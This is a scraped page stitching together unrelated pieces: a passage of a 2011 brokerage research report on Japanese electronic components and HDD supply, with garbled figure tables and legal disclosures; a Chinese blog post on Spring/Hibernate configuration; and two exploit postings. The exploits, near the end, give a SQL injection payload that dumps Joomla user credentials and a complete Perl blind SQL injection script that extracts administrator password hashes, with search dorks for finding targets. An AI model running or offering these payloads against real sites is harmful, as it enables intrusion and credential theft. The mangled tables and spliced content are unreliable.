    electronic component orders shows no improvement from August, with orders down by 2.9% YoY (11-company basis; August: -2.9%).Although the YoY hurdle was low because production adjustments in PCs and TVs started from mid-2010, orders corrections centered on passive components have emerged in September 2011. In terms of specific applications, ordersfor PC components swung to decline from a firm trend up to now. Orders for TV-related electronic components also dropped a notch. We had noticed a seasonal rise on component orders in August and expected growth to continue in September. The swing to MoM decline thus comes as a

    negative surprise. We understand that quick-delivery orders are increasing, which leads us to believe companies held back on orders in September (the final month of the accounting period) due to concern toward the future outlook.

    Production volume up 10% MoM:According to MLCC data contained within the METI Current Production Survey (we estimate that such data covers approximately 50% of the global MLCC market), MLCC production totaled 67.2 billion units in August, rising 10% MoM and 3% YoY while showing growth for the first time in three months. Volume had been weak from May on a fallback from heavy buying spurred by the earthquake in March and April, but that impact has subsided and

    seasonal demand appears to have emerged. The average price for MLCCs was ¥0.37, down 1.9% MoM and 10% YoY.

    Report on HDDs, where the impact of flooding in Thailand is a concern:July-September volume in the HDD market was solid at 176 million units, up 7% QoQ. We expect October-December demand to be on par with July-September. We do not expect the typical seasonality this year, not given the macro environment and the PC's industry's increased use of marine transport. That said, we expect HDD

    shipment volume to fall well short of demand. Western Digital bears the greatest impact of HDD makers, and the companyexpectsits October-December shipments to be in the 22-26 million range (versus 57.8 million July-September). The impact of flooding in Thailand was light for Seagate, and the companyexpectsthe company's October-December shipments to be in the 40-50 million range (versus 50.7 million July-September) on difficulty sourcing components. We see potentialfor overall HDD production to be limited to the 120-140mn range October-December. Among HDD components, spindle motors have been substantially impacted. While Thailand accounts for about 50% of HDD production, it accounts for 65% of spindle motors. Production is completely halted at these spindle motor plants, owing in part to flood damage at component plants.

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    September 2011Figure 62:Global Shipment Value of Electric Components and Electric Components Companies’ Monthly Orders YoY%¥100 million80%7,000 60%6,000 40%5,000 20%4,000 0%3,000 -20%2,000 -40%1,000 -60%0 40404040404040101010101010/////////////5566778899001000000000011100000000000002222222222222Global shipment value of Electronic Components (RHS)Global shipment value growth of Electronic Components (YoY, LHS)14 Electronic Components companies' monthly order (YoY, LHS)Source: JEITA, companydata.Figure 63:Electronic Components companies’monthly order and Market Cap%250%80%60%200%40%150%20%100%0%-20%50%-40%0%-60%171717171717171717171717////////////////////////001122334455667788990011000000000000000000001111000000000000000000000000222222222222222222222222Market Cap YoY(LHS)14 Electronic Components companies' monthly order (YoY, RHS)Source: Companydata, Bloomberg and J.P.Morgan

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    September 2011

    Figure 64:Electronic Component Companies’Monthly Order Growth (YoY)

    %

    Rohm

    Murata Manufacturing

    7.5%4.4%6.0%16.1%5.0%13.0%

    -Con

    3.1%

    -Company Average

    Source: Company data, conversations with companies, J.P. Morgan estimates

    2.5%11.4%

    14.8%7.9%10.0%

    2.5%12.6%5.6%3.0%

    17.8%35.2%5.7%9.0%

    5.9%8.6%3.0%11.0%1.0%

    27.1%29.9%13.4%2.0%9.0%12.0%15.0%3.7%8.0%9.1%

    12.5%15.1%33.3%27.4%16.0%2.0%22.0%14.0%8.0%12.2%12.9%

    12.5%11.3%28.6%20.2%21.0%18.0%1.0%9.8%11.5%9.9%

    /201112.5%1.0%15.1%16.8%18.0%3.0%14.0%5.0%9.6%12.5%7.8%

    7.5%0.8%13.3%14.0%4.0%12.8%4.1%2.9%

    7.5%11.1%9.0%8.0%6.0%

    18.8%2.9%

    16.5%18.1%4.0%3.2%

    13.6%

    Figure 65:Global Electronic Component Order Monthly Value

    ¥100 millionGlobal totalYoYYoYResistance unitTransformersInductorsOthers

    Coupling partsYoY

    ConnectorsOthers

    Transforming partsYoY

    Small sized motorsOthers

    Other electric componentsYoY

    High-frequency components

    Source: JEITA.

    3,171 1,193 714 112 37 147 184 779 377 434 13 655 145 344 203 462 14.2%285 177

    2,933 8.2%1,074 633 106 35 131 169 825 10.9%359 400 13 693 16.1%129 302 200 461 14.1%284 170

    2,989 1.7%1,090 640 108 34 134 173 773 376 401 13 632 6.5%144 315 206 454 17.6%281 163

    2,818 2.1%1,041 612 103 34 127 164 790 326 381 14 665 8.2%139 298 194 444 12.3%280 146

    2,774 3.4%1,074 638 102 33 135 166 720 1.0%309 372 12 630 11.0%137 301 179 427 18.7%251 139

    3.2%

    2,540 7.3%939 0.4%557 95 30 108 149 694 6.0%290 358 12 617 8.0%116 305 174 390 22.9%226 120

    2,890 11.1%1,137 665 109 35 151 177 660 10.1%332 378 13 595 17.6%145 295 186 346 27.0%268 136 2,595 15.2%1,076 4.9%638 103 34 132 170 723 9.0%264 375 10 626 27.2%112 219 181 405 30.2%236 124 2,595 12.0%1,068 3.0%650 96 32 133 158 648 7.9%256 371 10 511 19.4%116 212 211 360 28.2%237 115 2,822 10.0%1,108 6.0%668 106 37 135 162 636 8.7%312 390 12 539 7.5%142 284 181 352 24.2%269 124

    /20112,760 13.6%1,070 11.0%633 105 35 131 165 714 14.2%302 382 12 607 10.0%134 300 175 393 23.6%272 114

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    September 2011

    Figure 66:MLCC Volume, Value, ASP and YoY

    Volume(mn)YoYYoY(¥)YoY

    Source: METI.

    60,613 1%26,005 0.43 56,380 4%23,128 1%0.41

    63,600 25,136 0.40 4%

    57,313 22,190 0.39 5%

    56,139 21,649 3%0.39 6%

    63,146 24,085 4%0.38 6%

    66,645 24,368 6%0.37 8%

    63,454 24,230 3%0.38 4%61,650 8%23,701 12%0.38 5%61,231 8%23,382 15%0.38 7%

    /201167,220 23,382 15%0.38 7%

    Figure 67:HDD Shipment Volume and YoY by Form Factor

    ‘000, YoY%TotalYoYYoY

    26,500

    YoY

    28,080

    YoY

    2.5')YoY

    1.8')

    41%

    Source: TSR.

    57,350 2,770 57,550

    %2,900 26,100 28,550 28,100 450 53%

    55,570 2,780 25,900 26,890 26,400 490

    54,750 2,850 26,000 25,900 4%25,600 3%300 50%

    52,350 2%2,850 24,600 1%24,900 4%24,700 3%200 59%

    51,950 10%3,450 24,100 15%24,400 9%24,000 8%400 40%

    53,650 3%3,200 24,800 2%25,650 6%25,300 5%350 44%

    54,620 1%3,100 24,700 8%26,820 26,500 320 45%

    57,220 2,800 25,300 29,120 28,800 320 16%

    59,100 2,820 24,800 31,480 31,100 380 10%

    /201158,100 2,780 27,200 31,120 30,800 320 27%

    4%

    27,700

    2%

    380 62%

    Figure 68:HDD Shipment Volume and YoY by Company

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    ‘000, YoY%SeagateYoYYoY

    10,400

    YoY

    6,600

    YoYYoY

    Source: TSR.

    17,150 18,000 17,250

    %17,900 10,000 6,300 6,100 17%

    16,500 17,600 9,800 5,600 6,070 11%

    16,600 3%17,300 9,800 5,900 5,150 20%

    15,800 6%16,200 1%10,450 5,300 6%4,600 19%

    5,200 28%

    16,600 4%16,100 12%9,200 11%4,500 24%5,550 7%

    17,400 17,000 8,000 13%5,000 14%6,250 7%

    17,500 17,600 8,700 7%4,600 26%6,220

    17,500 19,000 8,700 6%4,600 12%7,420

    18,000 19,100 10,400 4,100 24%7,500

    /201117,500 18,900 9,800 4,200 28%7,700

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    September 2011

    Analyst Certification: The research analyst(s) denoted by an “AC” on the cover of this report certifies (or, where multiple research analysts are primarily responsible for this report, the research analyst denoted by an “AC” on the cover or within the document

    individually certifies, with respect to each security or issuer that the research analyst covers in this research) that: (1) all of the views

    expressed in this report accurately reflect his or her personal views about any and all of the subject securities or issuers; and (2) no part of any of the research analyst's compensation was, is, or will be directly or indirectly related to the specific recommendationsor views expressed by the research analyst(s) in this report.Important Disclosures

    ? The Gartner Report(s) described above (the "Gartner Report(s)") represent data, research opinion or viewpoints published, as part of a syndicated subscription service available only to clients, by Gartner, Inc., a corporation organized under the laws of the State of Delaware, USA, and its subsidiaries ("Gartner"), and are not representations of fact. Each Gartner Report speaks as of its original publication date (and not as of the date of this research report) and the opinions expressed in the Gartner Reports are subject to change without notice. Gartner is not responsible, nor shall it have any liability, to any reader of this research report for errors, omissions or inadequacies in, or for any interpretations of, or for any calculations based upon data contained in, the Gartner Reports or any excerpts thereof.

    Explanation of Equity Research Ratings and Analyst(s) Coverage Universe:

    J.P. Morgan uses the following rating system: Overweight [Over the next six to twelve months, weexpect this stock will outperform the average total return of the stocks in the analyst's (or the analyst's team's) coverage universe.] Neutral [Over the next six to twelve months, we expect this stock will perform in line with the average total return ofthe stocks in the analyst's (or the analyst's team's) coverage

    universe.] Underweight [Over the next six to twelve months, we expect this stock will underperform the average total return of the stocks in the analyst's (or the analyst's team's) coverage universe.] In our Asia (ex-Australia) and UK small-and mid-cap equity research, each stock’s expected total return is compared to the expected total return of a benchmark country market index, not to those analysts’

    coverage universe. If it does not appear in the Important Disclosures section of this report, the certifying analyst’s coverage universe can be found on J.P. Morgan’s research website, www.morganmarkets.com.

    Coverage Universe: Izumi, Yoshiharu: Asahi Glass (5201) (5201.T), Elpida Memory (6665) (6665.T), Fuji Electric (6504) (6504.T), Fujitsu (6702) (6702.T), Hitachi (6501) (6501.T), Mitsubishi Electric (6503) (6503.T), NEC (6701) (6701.T), Nippon Electric Glass (5214) (5214.T), Nippon Sheet Glass (5202) (5202.T), Nissin Electric (6641) (6641.T),Oki Electric Industry (6703) (6703.T), Omron (6645) (6645.OS), Panasonic (6752) (6752.T), Renesas Electronics (6723) (6723.T), Sharp (6753) (6753.T), Sony (6758) (6758.T), Toshiba (6502) (6502.T)

    Itaya, Masashi: Alps Electric (6770) (6770.T), Hirose Electric (6806) (6806.T), Ibiden (4062) (4062.T), Kyocera (6971) (6971.T),

    Mabuchi Motor (6592) (6592.T), Minebea (6479) (6479.T), Murata Manufacturing (6981) (6981.OS), NGK Spark Plug (5334) (5334.T), NHK Spring (5991) (5991.T), NOK (7240) (7240.T), Nidec (6594) (6594.OS), Rohm (6963) (6963.OS), Sanken Electric (6707) (6707.T), Shinko Electric Industries (6967) (6967.T), TDK (6762) (6762.T), Taiyo Yuden (6976) (6976.T)

    Moriyama, Hisashi: Advantest (6857) (6857.T), Canon (7751) (7751.T), Citizen Holdings (7762) (7762.T), DAINIPPON SCREEN MFG. (7735) (7735.T), Disco (6146) (6146.T), FUJIFILM Holdings (4901) (4901.T), HOYA (7741) (7741.T), Hitachi High-

    Technologies (8036) (8036.T), Konica Minolta Holdings (4902) (4902.T), Nikon (7731) (7731.T), Olympus (7733) (7733.T), Ricoh (7752) (7752.T), Seiko Epson (6724) (6724.T), Tamron (7740) (7740.T), Tokyo Electron (8035) (8035.T), Tokyo Seimitsu (7729) (7729.T), Ulvac (6728) (6728.T), Ushio (6925) (6925.T), V Technology (7717) (7717.T), Yokogawa Electric (6841) (6841.T)

    扩展:componentdidupdate / componentwillupdate / componentupdate

    Hayami, Masashi: Casio Computer (6952) (6952.T), Daikin Industries (6367) (6367.T), EBARA (6361) (6361.T), Fujitsu General (6755) (6755.T), Funai Electric (6839) (6839.OS), GS Yuasa Corporation (6674) (6674.T), IHI (7013) (7013.T), JGC (1963) (1963.T), JVC Kenwood (6632) (6632.T), Kawasaki Heavy Industries (7012) (7012.T), Kurita Water Industries (6370) (6370.T), Mitsubishi Heavy Industries (7011) (7011.T), Pioneer (6773) (6773.T), Shin-Kobe Electric Machinery (6934) (6934.T), TOSHIBA PLANT SYSTEMS (1983)(1983.T)

    J.P. Morgan Equity Research Ratings Distribution, as of September 30, 2011

    OverweightNe(ho

    IB clients*

    JPMS Equity Research Coverage

    IB clients*51%45%70%44%47%60%33%7%52%

    *Percentage of investment banking clients in each rating category.

    For purposes only of FINRA/NYSE ratings distribution rules, our Overweight rating falls into a buy rating category; our Neutral rating falls into a hold rating category; and our Underweight rating falls into a sell rating category.

    43

    japanesemom Japan component market update 1110

    Japan Equity Research

    6

    Legal Entities Disclosures

    U.S.:JPMS is a member of NYSE, FINRA, SIPC and the NFA. JPMorgan Chase Bank, N.A. is a member of FDIC and is authorized and regulated in the UK by the Financial Services Authority. U.K.: J.P. Morgan Securities Ltd. (JPMSL) is a member of the London Stock Exchange and is authorized and regulated by the Financial Services Authority. Registered in England & Wales No. 2711006. Registered Office 125 London Wall, London EC2Y 5AJ. South Africa: J.P. Morgan Equities Limited is a member of the Johannesburg Securities Exchange and is regulated by the FSB. Hong Kong: J.P. Morgan Securities (Asia Pacific) Limited (CE number AAJ321) is regulated by the Hong Kong Monetary Authority and the Securities and Futures Commission in Hong Kong. Korea: J.P. Morgan Securities (Far East) Ltd, Seoul Branch, is regulated by the Korea Financial Supervisory Service. Australia: J.P. Morgan Australia Limited (ABN 52 002 888 011/AFS Licence No: 238188) is regulated by ASIC and J.P. Morgan Securities Australia Limited (ABN 61 003 245 234/AFS Licence No: 238066) is a Market Participant with the ASX and regulated by ASIC. Taiwan: J.P.Morgan Securities (Taiwan) Limited is a

    participant of the Taiwan Stock Exchange (company-type) and regulated by the Taiwan Securities and Futures Bureau. India: J.P. Morgan India Private Limited, having its registered office at J.P. Morgan Tower, Off. C.S.T. Road, Kalina, Santacruz East, Mumbai -400098, is a member of the National Stock Exchange of India Limited (SEBI Registration Number -INB 230675231/INF 230675231/INE 230675231) and Bombay Stock Exchange Limited (SEBI Registration Number -INB 010675237/INF 010675237) and is regulated by Securities and Exchange Board of India. Thailand: JPMorgan Securities (Thailand) Limited is a member of the Stock Exchange of Thailand and is regulated by the Ministry of Finance and the Securities and Exchange

    Commission. Indonesia: PT J.P. Morgan Securities Indonesia is a member of the Indonesia Stock Exchange and is regulated by the BAPEPAM LK. Philippines: J.P. Morgan Securities Philippines Inc. is a member of the Philippine Stock Exchange and is regulated by the Securities and Exchange

    Commission. Brazil: Banco J.P. Morgan S.A. is regulated by the Comissao de Valores Mobiliarios (CVM) and by the Central Bank of Brazil. Mexico: J.P. Morgan Casa de Bolsa, S.A. de C.V., J.P. Morgan Grupo Financiero is a member of the Mexican Stock Exchange and authorized to act as a broker dealer by the National Banking and Securities Exchange Commission. Singapore: This material is issued and distributed in Singapore by J.P. Morgan Securities Singapore Private Limited (JPMSS) [MICA (P) 025/01/2011 andCo. Reg. No.: 199405335R] which is a member of the Singapore Exchange Securities Trading Limited and is regulated by the Monetary Authority of Singapore (MAS) and/or JPMorgan Chase Bank, N.A., Singapore branch (JPMCB

    Singapore) which is regulated by the MAS. Malaysia: This material is issued and distributed in Malaysia by JPMorgan Securities (Malaysia) Sdn Bhd (18146-X) which is a Participating Organization of Bursa Malaysia Berhad and a holder of Capital Markets Services License issued by the Securities

    Commission in Malaysia. Pakistan: J. P. Morgan Pakistan Broking (Pvt.) Ltd is a member of the Karachi Stock Exchange and regulated by the Securities and Exchange Commission of Pakistan. Saudi Arabia: J.P. Morgan Saudi Arabia Ltd. is authorized by the Capital Market Authority of the Kingdom of Saudi Arabia (CMA) to carry out dealing as an agent, arranging, advising and custody, with respect to securities business under licence number 35-07079 and its registered address is at 8th Floor, Al-Faisaliyah Tower, King Fahad Road, P.O. Box 51907, Riyadh 11553, Kingdom of Saudi Arabia. Dubai: JPMorgan Chase Bank, N.A., Dubai Branch is regulated by the Dubai Financial Services Authority (DFSA) and its registered address is Dubai

    扩展:componentdidupdate / componentwillupdate / componentupdate

    International Financial Centre -Building3, Level 7, PO Box 506551, Dubai, UAE.

    Country and Region Specific Disclosures

    U.K. and European Economic Area (EEA): Unless specified to the contrary, issued and approved for distribution in the U.K. and the EEA by JPMSL. Investment research issued byJPMSL has been prepared in accordance with JPMSL's policies for managing conflicts of interest arising as a result of publication and distribution of investment research. Many European regulators require a firm to establish, implement and maintain such a policy. This report has been issued in the U.K. only to persons of a kind described in Article 19 (5), 38, 47 and 49 of the Financial Services and Markets Act 2000 (Financial Promotion) Order 2005 (all such persons being referred to as "relevant persons").This document must not be acted on or relied on by persons who are not relevant persons. Any investment or investment activity to which this document relates is only available to relevant persons and will be

    engaged in only with relevant persons. In otherEEA countries, the report has been issued to persons regarded as professional investors (or equivalent) in their home jurisdiction. Australia: This material is issued and distributed by JPMSAL in Australia to "wholesale clients" only. JPMSAL does not issue or distribute this material to "retail clients". The recipient of this material must not distribute it to any third party or outside Australia without the prior written consent of JPMSAL. For the purposes of this paragraph the terms "wholesale client" and "retail client" have the meanings given to them in section 761G of the Corporations Act 2001. Germany: This material is distributed in Germany by J.P. Morgan Securities Ltd., Frankfurt Branch and J.P.Morgan Chase Bank, N.A., Frankfurt Branch which are regulated by the Bundesanstalt für Finanzdienstleistungsaufsicht. Hong Kong: The 1% ownership disclosure as of the previous month end satisfies the requirements under Paragraph 16.5(a) of the Hong Kong Code of Conduct for Persons Licensed by or Registered with the Securities and Futures Commission. (For research published within the first ten days of the month, the disclosure may be based on the month end data from two months prior.) J.P. Morgan Broking (Hong Kong) Limited is the liquidity provider/market maker for derivative warrants, callable bull bear 44

    japanesemom Japan component market update 1110

    [家常菜谱大全 www.solarvon.com]

    扩展:componentdidupdate / componentwillupdate / componentupdate

    二 : 对packagesToScan与context:component-scan与tx

    原文地址:对packagesToScan与context:component-scan与tx:annotation-driven的理解作者:小远

    以前编写实体类Entity的时候,都需要配置映射文件.hbm.xml,同时需要在sessionFactory中配置映射文件或映射目录
    使用annotation时需要将sessionFactory定义为:
    <bean id="sessionFactory">
    【Entity】
    文件映射
    <propertyname="mappingResources">
    <list>
    <value> ...hbm.xml</value>
    ....
    </list>
    </property>

    或者 目录映射
    <propertyname="mappingDirectoryLocations">
    <list>
    <value>classpath:/../hbm/</value>
    ....
    </list>
    </property>

    现在可以使用Annotation来简化配置(jdk5 spring2.5 hibernate3.3)
    在sessionFactory中配置
    <property name="packagesToScan"value="包名.*"/>
    然后在Entity中定义类名的地方注释:@MappedSuperclass就可以自动完成载入,不用再配置.

    【service】
    以前编写service时要先编写Entity,Dao然后进行Dao配置进行自动注入Service
    <bean id="mailDao"
    >
    <propertyname="sessionFactory">
    <reflocal="sessionFactory" />
    </property>
    </bean>
    <bean id="mailSearchService"
    >
    <propertyname="mailDao">
    <reflocal="mailDao" />
    </property>
    </bean>
    当然也可以在Spring配置中申明按名或按类自动注入,可以少配置属性,但是Bean还是要配置的

    现在可以使用SpringSide的SimpleHibernateTemplate范型Dao,直接在Service层创建,同时Service采用@Service注释来自动注册服务,在要注入参数的地方注释:@Autowired,就可以自动注入参数,前提是必须在Spring中配置
    <!-- 使用annotation自动注册bean,并检查@Required,@Autowired的属性已被注入 -->
    <context:component-scanbase-package="包名" />
    这样就搞定了,可以减少好多的配置
    【transaction】
    <!-- 使用annotation定义事务 -->
    <tx:annotation-driventransaction-manager="transactionManager" />
    在服务类定义处注释:@Transactional,还可以在具体方法出定义@Transactional(readOnly=true)//使用readOnly可以提高性能
    同一个方法里,事务可以传递,可以解决Lazy问题,可以不再使用:openSessionInView,使用此切面(aspect),必须在实现 类(和/或类里的方法)、而不是类的任何所实现的接口上面进行注解
    例如:
    @Transactional
    public classUserManagerInCatche {
    @Transactional(readOnly=true)//使用readOnly可以提高性能
    public void initResourceCache() {
    if (!cacheInitialized) {
    synchronized (this) {
    List<Resource> resources =userManager.getAllResorece();
    for (Resource resource : resources) {
    resourceDetailsInCache(resource);//resourceDetailsInCache方法会使用initResourceCache方法的事务
    }
    cacheInitialized = true;
    }
    }
    }
    private voidresourceDetailsInCache(
    Resource resource) {
    // GrantedAuthority[] authorities =role2authorities(userManager.getRolesByResourceId(resource.getId()));
    GrantedAuthority[] authorities =role2authorities(resource.getRoles());

    ResourceDetails rd = newgzpost.security.resourcedetails.Resource(resource
    .getResString(), resource.getResType(), authorities);
    resourceCache.putAuthorityInCache(rd);
    }
    }

    本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/mylovehyy/archive/2009/01/08/3735238.aspx

    三 : Joomla Component com_content 1.0.0 (ItemID) SQL Injection Vuln

    -------------------------------------------------------------------------------------------

    Joomla Component com_content SQL Injection Vulnerabity

    -------------------------------------------------------------------------------------------


    Author : unknown_styler

    Dork : inurl:com_content

    POC : http://localhost/index.php?option=index.php?option=com_content&task=blogcategory&id=60&Itemid={SQL}

    Example : http://localhost/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999 union select 1,concat_ws(0x3a,username,password),3,4,5 from jos_users/*

    ------------------------------------------------------------------------------------------------------------------------------------

    Greetings : h4ck-y0u.org

    side note:

    <name>Página de contenido</name>
    <author>Projecte Joomla!</author>
    <creationDate>July 2004</creationDate>
    <copyright>(C) 2005 Open Source Matters. All rights reserved.</copyright>
    <license> GNU/GPL</license>
    <authorEmail>admin@joomla.org</authorEmail>
    <authorUrl>www.joomla.org</authorUrl>
    <version>1.0.0</version>

    # milw0rm.com [2008-07-08]

    四 : Joomla Component EZ Store Remote Blind SQL Injection Exploit

    #!/usr/bin/perl
    #Note:Sometimes you have to change the regexp to viewcategory/catid,".$cid."
    use LWP::UserAgent;
    use Getopt::Long; if(!$ARGV[1])
    {
    print " n";
    print " ################################################################n";
    print " # Joomla Component EZ Store Blind SQL Injection Exploit #n";
    print " # Author:His0k4 [ALGERIAN HaCkeR] #n";
    print " # #n";
    print " # Conctact: His0k4.hlm[at]gamil.com #n";
    print " # Greetz: All friends & muslims HacKeRs #n";
    print " # Greetz2: http://www.dz-secure.com #n";
    print " # #n";
    print " # Dork: inurl:com_ezstore #n";
    print " # Usage: perl ezstore.pl host path <options> #n";
    print " # Example: perl ezstore.pl www.host.com /joomla/ -p 11 -c 2 #n";
    print " # #n";
    print " # Options: #n";
    print " # -t Valid procuct id #n";
    print " # -c Category value of the following product id #n";
    print " ################################################################n"; exit;
    } my $host = $ARGV[0];
    my $path = $ARGV[1];
    my $cid = $ARGV[2];
    my $pid = $ARGV[3]; my %options = ();
    GetOptions(%options, "c=i", "x=s", "p=i"); print "[~] Exploiting...n"; if($options{"c"})
    {
    $cid = $options{"c"};
    } if($options{"p"})
    {
    $pid = $options{"p"};
    } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i )
    {
    my $f = 0;
    my $h = 48;
    while(!$f && $h <= 57)
    {
    if(istrue2($host, $path, $cid, $pid, $i, $h))
    {
    $f = 1;
    syswrite(STDOUT, chr($h), 1);
    }
    $h ;
    }
    if(!$f)
    {
    $h = 97;
    while(!$f && $h <= 122)
    {
    if(istrue2($host, $path, $cid, $pid, $i, $h))
    {
    $f = 1;
    syswrite(STDOUT, chr($h), 1);
    }
    $h ;
    }
    }
    } print "n[~] Exploiting donen"; sub istrue2
    {
    my $host = shift;
    my $path = shift;
    my $cid = shift;
    my $pid = shift;
    my $i = shift;
    my $h = shift; my $ua = LWP::UserAgent->new;
    my $query = "http://".$host.$path."index.php?option=com_ezstore&Itemid=1&func=detail&id=".$pid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"x"})
    {
    $ua->proxy('http', "http://".$options{"x"});
    } my $resp = $ua->get($query);
    my $content = $resp->content;
    my $regexp = "viewcategory&catid=".$cid.""; if($content =~ /$regexp/)
    {
    return 1;
    }
    else
    {
    return 0;
    } }
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